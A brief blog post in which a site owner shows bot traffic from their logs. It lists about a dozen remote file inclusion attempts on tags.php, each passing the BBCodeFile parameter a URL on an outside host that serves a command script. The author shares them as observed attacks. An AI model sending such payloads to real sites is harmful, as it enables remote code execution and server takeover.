Evil Bots

Lately, I’ve been seeing a lot of bot traffic in my logs. Mind you, this isn’t the good kind of bot traffic, like Google bots or other crawlers… It’s the bad stuff – trying to use my site to gain access to my server through nefarious means.

//tags.php?BBCodeFile=http://80.201.236.78/~pat/evilx?
//tags.php?BBCodeFile=http://buceta.789mb.com/cmd1.txt?
//tags.php?BBCodeFile=http://goge.go.ro/b.txt?
//tags.php?BBCodeFile=http://mbrandy.cwsurf.de/eqdkp//includes/vull/echo?
//tags.php?BBCodeFile=http://paginas.terra.com.br/informatica/c4sh/scanz/echo.txt?
//tags.php?BBCodeFile=http://suntikan.org/echo?
//tags.php?BBCodeFile=http://topnlpsites.com/images/gif/echo.txt?
//tags.php?BBCodeFile=http://www.chv.ro/cache/0day?
//tags.php?BBCodeFile=http://www.freewebtown.com/scan/cmd.do?
//tags.php?BBCodeFile=http://www.freewebtown.com/scan/evilx?
//tags.php?BBCodeFile=http://www.freewebtown.com/scan/evilx??
//tags.php?BBCodeFile=http://www.linkchinese.co.uk/452e/help/evilx??
//tags.php?BBCodeFile=http://www.mirrortuning.ru/oneadmin/_files/freeman.txt?

It’s really too bad for the bot makers that they’re creations are wasting their time on my site. It’s written well, which means stupid attacks like this just won’t work.

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